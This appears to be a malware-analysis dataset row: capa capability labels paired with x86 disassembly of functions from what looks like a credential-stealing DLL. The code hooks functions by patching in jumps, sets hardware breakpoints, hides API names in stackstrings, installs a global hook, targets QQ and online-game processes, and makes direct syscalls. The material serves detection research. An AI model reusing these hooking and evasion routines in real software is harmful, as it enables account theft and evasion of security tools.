joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000683e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea eax, [ebp + 8]
push edi
mov edi, dword [ebp + 8]
push eax
push 0x40
xor ebx, ebx
push 5
push edi
mov byte [ebp - 0xc], 0xe9
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
call esi
mov eax, dword [ebp + 0xc]
push 5
sub eax, edi
sub eax, 5
mov dword [ebp - 0xb], eax
lea eax, [ebp - 0xc]
push eax
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 5
push edi
call esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100069f0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push esi
push edi
push 0
push 4
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
push 0x1c
mov dword [ebp - 4], eax
pop esi
lea eax, [ebp - 0x20]
push esi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], esi
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Thread32First
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10006b29
push dword [ebp - 0x18]
xor edi, edi
push edi
push 0x1f03ff
call dword [sym.imp.KERNEL32.DLL_OpenThread]
mov dword [ebp + 8], eax
push 0x2cc
lea eax, [ebp - 0x2ec]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2ec]
mov dword [ebp - 0x2ec], 0x10010
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
cmp dword [ebp - 0x2e8], esi
je 0x10006af9
cmp dword [ebp - 0x2e8], edi
je 0x10006af9
cmp dword [ebp - 0x2e4], esi
je 0x10006ae7
cmp dword [ebp - 0x2e4], edi
je 0x10006ae7
cmp dword [ebp - 0x2e0], esi
je 0x10006ad6
cmp dword [ebp - 0x2e0], edi
je 0x10006ad6
cmp dword [ebp - 0x2dc], esi
je 0x10006ac5
cmp dword [ebp - 0x2dc], edi
je 0x10006ac5
or edi, 0xffffffff
jmp 0x10006b06
or dword [ebp - 0x2d4], 0x40
mov dword [ebp - 0x2dc], esi
push 3
jmp 0x10006af6
or dword [ebp - 0x2d4], 0x10
mov dword [ebp - 0x2e0], esi
push 2
jmp 0x10006af6
or dword [ebp - 0x2d4], 4
mov dword [ebp - 0x2e4], esi
push 1
pop edi
jmp 0x10006b06
or dword [ebp - 0x2d4], 1
mov dword [ebp - 0x2e8], esi
lea eax, [ebp - 0x2ec]
mov dword [ebp - 0x2ec], 0x10010
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Thread32Next
test eax, eax
jne 0x10006a2e
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10006b43
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
push esi
lea ebx, [ecx + 0x164]
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
xor esi, esi
push esi
push 4
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], eax
push ecx
push eax
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.DLL_Thread32First
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10006c1d
push dword [ebp - 0x18]
push esi
push 0x1f03ff
call dword [sym.imp.KERNEL32.DLL_OpenThread]
mov edi, eax
lea eax, [ebp - 0x2ec]
push eax
push edi
mov dword [ebp - 0x2ec], 0x10010
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov eax, dword [ebp + 8]
sub eax, esi
je 0x10006bf8
dec eax
je 0x10006be6
dec eax
je 0x10006bd4
dec eax
jne 0x10006c32
and dword [ebp - 0x2d4], 0xfffff3f
mov dword [ebp - 0x2dc], esi
jmp 0x10006c08
and dword [ebp - 0x2d4], 0xf0ffffcf
mov dword [ebp - 0x2e0], esi
jmp 0x10006c08
and dword [ebp - 0x2d4], 0xff0ffff3
mov dword [ebp - 0x2e4], esi
jmp 0x10006c08
and dword [ebp - 0x2d4], 0xfff0fffc
mov dword [ebp - 0x2e8], esi
lea eax, [ebp - 0x2ec]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Thread32Next
test eax, eax
je 0x10006c36
jmp 0x10006b7a
xor al, al
jmp 0x10006c3f
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10006c89
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10008198
push 0x10007d96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x34], 0x56
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x50
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x63
mov byte [ebp - 0x27], 0x74
and byte [ebp - 0x26], 0
lea ecx, [ebp - 0x34]
push ecx
push eax
call fcn.100078a2
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [ebp - 0x20]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [ebp - 0x20]
or dword [ebp - 4], 0xffffffff
push 1
pop eax
jmp 0x10006d52
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006d61
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100081a8
push 0x10007d96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
pushal
popal
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x20], ebx
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x34], 0x56
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x50
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x63
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], bl
lea ecx, [ebp - 0x34]
push ecx
push eax
call fcn.100078a2
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x38]
push ecx
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
call eax
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ebx, eax
mov dword [ebp - 0x20], ebx
push edi
push esi
push ebx
call sub.MSVCRT.dll_memcpy
mov byte [ebx + edi], 0xe9
mov eax, esi
sub eax, ebx
sub eax, 5
mov dword [ebx + edi + 1], eax
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x38]
push edi
push esi
call dword [ebp - 0x1c]
or dword [ebp - 4], 0xffffffff
mov eax, ebx
jmp 0x10006e6f
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006e99
Capabilities:
Set global application hook

Disassembly:
push 0
push dword [0x1000ad80]
push 0x10006e7e
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [section.tldksods], eax
ret
Function at 0x10006f3e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [ebp + 0xc]
push esi
dec eax
push edi
test eax, eax
jne 0x10007023
mov eax, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push ebx
mov ebx, 0x104
push ebx
push 0x1000adb8
push eax
mov dword [0x1000ad80], eax
call esi
and byte [ebp - 0x104], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
xor edi, edi
push eax
push edi
call esi
lea eax, [ebp - 0x104]
push 0x5c
push eax
call fcn.1000770c
mov esi, eax
push str.mir3.dat
inc esi
push esi
call fcn.1000775c
add esp, 0x10
test eax, eax
pop ebx
je 0x10007013
push str.mir2.dat
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
je 0x10007013
push str.mir4.dat
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
je 0x10007013
push str.mir1.dat
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
je 0x10007013
push str.QQLogin.exe
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
je 0x1000700f
push str.DNF.exe
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
jne 0x10007023
xor eax, eax
jmp 0x10007026
push edi
push edi
push edi
push 0x1000702c
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 1
pop eax
pop edi
pop esi
leave
ret 0xc

Function at 0x10007110
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and byte [ebp - 9], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
lea eax, [ebp - 0x14]
mov edi, str.Kernel32.dll
push eax
push edi
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x46
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x7a
mov byte [ebp - 0xa], 0x65
call esi
push eax
call fcn.100078a2
pop ecx
mov ebx, eax
pop ecx
dec ebx
push str.CreateFileA
push edi
call esi
push eax
call fcn.100078a2
pop ecx
mov dword [ebp - 4], eax
pop ecx
push str.CloseHandle
push edi
call esi
push eax
call fcn.100078a2
pop ecx
xor esi, esi
pop ecx
mov dword [ebp - 8], eax
push esi
push esi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [ebp - 4]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100071ab
xor eax, eax
jmp 0x100071bd
cmp ebx, esi
je 0x100071b6
push esi
push edi
call ebx
mov dword [ebp + 8], eax
push edi
call dword [ebp - 8]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100071db
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
test edx, edx
jne 0x100071e6
ret
cmp word [edx], 0x5a4d
jne 0x100071fd
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x100071fd
mov eax, dword [ecx + 0x50]
ret
Function at 0x100075a3
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100081e8
push 0x10007d96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
pushal
call fcn.100073c5
popal
xor esi, esi
push esi
push esi
push esi
push esi
push str.WinInet
call dword [0x1000aeec]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], esi
cmp eax, esi
je 0x1000760c
push esi
push 0x80000000
push esi
push esi
push dword [ebp + 8]
push eax
call dword [0x1000aedc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 1
mov dword [ebp - 4], esi
call fcn.10007617
or dword [ebp - 4], 0xffffffff
call fcn.10007621
jmp 0x1000762b
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100078a2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
je 0x10007985
mov eax, dword [edi + 0x3c]
add eax, edi
mov esi, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
add esi, edi
cmp eax, 0x10000
jae 0x100078f1
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
add edx, ecx
cmp eax, edx
jae 0x10007985
cmp eax, ecx
jb 0x10007985
sub eax, ecx
jmp 0x10007938
mov ecx, dword [esi + 0x20]
mov dword [ebp + 8], ebx
add ecx, edi
cmp dword [esi + 0x18], ebx
jbe 0x10007943
mov dword [ebp - 4], ecx
jmp 0x10007906
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov ecx, edi
add ecx, dword [edx]
push ecx
push eax
call fcn.100077b8
pop ecx
test al, al
pop ecx
je 0x1000792b
inc dword [ebp + 8]
add dword [ebp - 4], 4
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x18]
jb 0x10007903
jmp 0x10007943
mov eax, dword [esi + 0x24]
mov ecx, dword [ebp + 8]
lea eax, [eax + ecx*2]
movzx eax, word [eax + edi]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov ebx, dword [eax + edi]
add ebx, edi
mov eax, dword [ebp - 8]
add eax, esi
cmp ebx, eax
jae 0x100079bb
cmp ebx, esi
jb 0x100079bb
test ebx, ebx
je 0x100079bb
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x10007985
cmp al, 0x2e
je 0x10007966
mov al, byte [esi + 1]
inc esi
jmp 0x10007958
and byte [ebp - 0x10c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, esi
sub edi, ebx
test edi, edi
jg 0x10007989
xor eax, eax
jmp 0x100079bd
push edi
lea eax, [ebp - 0x10c]
push ebx
push eax
call sub.MSVCRT.dll_memcpy
and byte [ebp + edi - 0x10c], 0
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
inc esi
push esi
push eax
call fcn.100078a2
pop ecx
mov ebx, eax
pop ecx
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007bbf
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
and byte [ebp - 0x114], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
push 0x1000adb8
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.10007734
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.1000657a
add esp, 0x14
test eax, eax
jne 0x10007c33
push 4
push eax
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.1000657a
add esp, 0x18
test eax, eax
je 0x10007c5d
mov eax, dword [ebp - 0x10]
mov esi, 0x1000aef4
add eax, 8
push eax
push esi
call fcn.10007734
push dword [ebp - 0x10]
call dword [sym.imp.MSVCRT.dll_free]
push 0x2f
push esi
call fcn.1000770c
add esp, 0x14
test eax, eax
jne 0x10007c61
xor eax, eax
jmp 0x10007c9b
and byte [eax + 1], 0
and byte [ebp - 3], 0
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0x6d
push eax
push esi
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x62
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x70
call fcn.1000782b
pop ecx
mov eax, esi
pop ecx
pop edi
pop esi
leave
ret
Function at 0xe03370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xe0338e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xe2c074
push ecx
mov edi, eax
call fcn.00e17198
mov esi, eax
add esp, 8
test esi, esi
jne 0xe033cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00e1702e
push esi
call fcn.00e16fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xe06850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xe068ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xe31720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xe068ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00e171e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xe068ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xe31720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xe0692a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00e18082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xe06957
mov word [eax], si
add eax, 2
push eax
call fcn.00e18030
add esp, 4
jmp 0xe06959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xe068ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xe068b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xe06ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xe07080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xe070c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xe2c458
push ecx
call fcn.00e171e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00e171e1
add esp, 0x10
jmp 0xe070d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00e1720b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00e16dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00e07050
mov eax, dword [0xe31728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xe0713b
push esi
call fcn.00e06fb0
add esp, 4
mov dword [0xe31728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xe0714c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00e06ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xe0a440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xe0a4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xe0a48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xe0a471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xe0a47e
add edx, ecx
cmp ebx, edx
jb 0xe0a48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xe0a467
xor ecx, ecx
jmp 0xe0a4a2
test eax, eax
jne 0xe0a492
xor ecx, ecx
jmp 0xe0a4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00e0a3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xe0a8f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xe0a921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xe0a946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xe0a96e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xe0a993
push ecx
push esi
call fcn.00e0a4c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0xe0bc00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0xe0bc4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0xe0bc2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0xe0bc38
add edx, eax
cmp ebx, edx
jb 0xe0bc46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0xe0bc21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0xe0bc50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0xe0bc70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xe0bcb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xe0bc9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xe0bca8
add edx, ecx
cmp ebx, edx
jb 0xe0bcb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0xe0bc91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0xe0bf60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00e18145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0xe0bffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0xe0bfdd
lea eax, [esp + 0x18]
push eax
jmp 0xe0bfe2
push 0xe31720
call fcn.00e17fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0xe0bfb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0xe0bf40
push 4
push ecx
push eax
call fcn.00e1843f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret